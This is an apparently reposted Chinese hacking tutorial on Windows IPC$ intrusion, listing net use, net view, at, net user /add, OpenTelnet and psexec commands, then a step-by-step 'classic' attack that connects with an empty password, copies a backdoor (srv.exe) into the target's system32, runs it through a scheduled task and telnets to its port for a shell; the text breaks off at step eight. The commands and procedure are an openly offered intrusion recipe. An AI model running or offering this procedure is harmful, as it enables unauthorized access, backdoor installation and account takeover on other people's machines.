|
|
IPC$命令详解
|
|
来源:不详 作者:未知 点击数: |
| |
十二 入侵中可能会用到的命令 为了这份教程的完整性,我列出了ipc$入侵中的一些常用命令,如果你已经掌握了这些命令,你可以跳过这一部分看下面的内容。请注意这些命令是适用于本地还是远程,如果只适用于本地,你只能在获得远程主机的shell(如cmd,telnet等)后,才能 向远程主机执行。
1 建立/删除ipc$连接的命令
1)建立空连接: net use \\127.0.0.1\ipc$ "" /user:""
2)建立非空连接: net use \\127.0.0.1\ipc$ "密码" /user:"用户名"
3)删除连接: net use \\127.0.0.1\ipc$ /del
2 在ipc$连接中对远程主机的#作命令
1) 查看远程主机的共享资源(看不到默认共享): net view \\127.0.0.1
2) 查看远程主机的当前时间: net time \\127.0.0.1
3) 得到远程主机的netbios用户名列表: nbtstat -A 127.0.0.1
4)映射/删除远程共享: net use z: \\127.0.0.1\c 此命令将共享名为c的共享资源映射为本地z盘
net use z: /del 删除映射的z盘,其他盘类推
5)向远程主机复制文件: copy 路径\文件名 \\IP\共享目录名,如: copy c:\xinxin.exe \\127.0.0.1\c$ 即将c盘下的xinxin.exe复制到对方c盘内 当然,你也可以把远程主机上的文件复制到自己的机器里: copy \\127.0.0.1\c$\xinxin.exe c:\
6)远程添加计划任务: at \\IP 时间 程序名 如: at \\127.0.0.0 11:00 xinxin.exe 注意:时间尽量使用24小时制;如果你打算运行的程序在系统默认搜索路径(比如system32/)下则不用加路径,否则必须加全路径
3 本地命令
1)查看本地主机的共享资源(可以看到本地的默认共享) net share
2)得到本地主机的用户列表 net user
3)显示本地某用户的帐户信息 net user 帐户名
4)显示本地主机当前启动的服务 net start
5)启动/关闭本地服务 net start 服务名 net stop 服务名
6)在本地添加帐户 net user 帐户名 密码 /add
7)激活禁用的用户 net uesr 帐户名 /active:yes
8)加入管理员组 net localgroup administrators 帐户名 /add
很显然的是,虽然这些都是本地命令,但如果你在远程主机的shell中输入,比如你telnet成功后输入上面这些命令,那么这些本地输入将作用在远程主机上。
4 其他一些命令 1)telnet telnet IP 端口 telnet 127.0.0.0 23
2)用opentelnet.exe开启远程主机的telnet OpenTelnet.exe \\ip 管理员帐号 密码 NTLM的认证方式 port OpenTelnet.exe \\127.0.0.1 administrator "" 1 90 不过这个小工具需要满足四个要求: 1)目标开启了ipc$共享 2)你要拥有管理员密码和帐号 3)目标开启RemoteRegistry服务,用户就可以更改ntlm认证 4)对仅WIN2K/XP有效
3)用p***ec.exe一步获得shell,需要ipc管道支持 p***ec.exe \\IP -u 管理员帐号 -p 密码 cmd p***ec.exe \\127.0.0.1 -u administrator -p "" cmd
十三 对比过去和现今的ipc$入侵 既然是对比,那么我就先把过去的ipc$入侵步骤写给大家,都是蛮经典的步骤:
[1] C:\>net use \\127.0.0.1\ipc$ "" /user:admintitrators \\用扫到的空口令建立连接
[2] c:\>net view \\127.0.0.1 \\查看远程的共享资源
[3] C:\>copy srv.exe \\127.0.0.1\admin$\system32 \\将一次性后门srv.exe复制到对方的系统文件夹下,前提是admin$开启
[4] C:\>net time \\127.0.0.1 \\查看远程主机的当前时间
[5] C:\>at \\127.0.0.1 时间 srv.exe \\用at命令远程运行srv.exe,需要对方开启了''Task Scheduler''服务
[6] C:\>net time \\127.0.0.1 \\再次查看当前时间来估算srv.exe是否已经运行,此步可以省略
[7] C:\>telnet 127.0.0.1 99 \\开一个新窗口,用telnet远程登陆到127.0.0.1从而获得一个shell(不懂shell是什么意思?那你就把它想象成远程机器的控制权就好了,#作像DOS),99端口是srv.exe开的一次性后门的端口
[8] |
|
|
|
|
|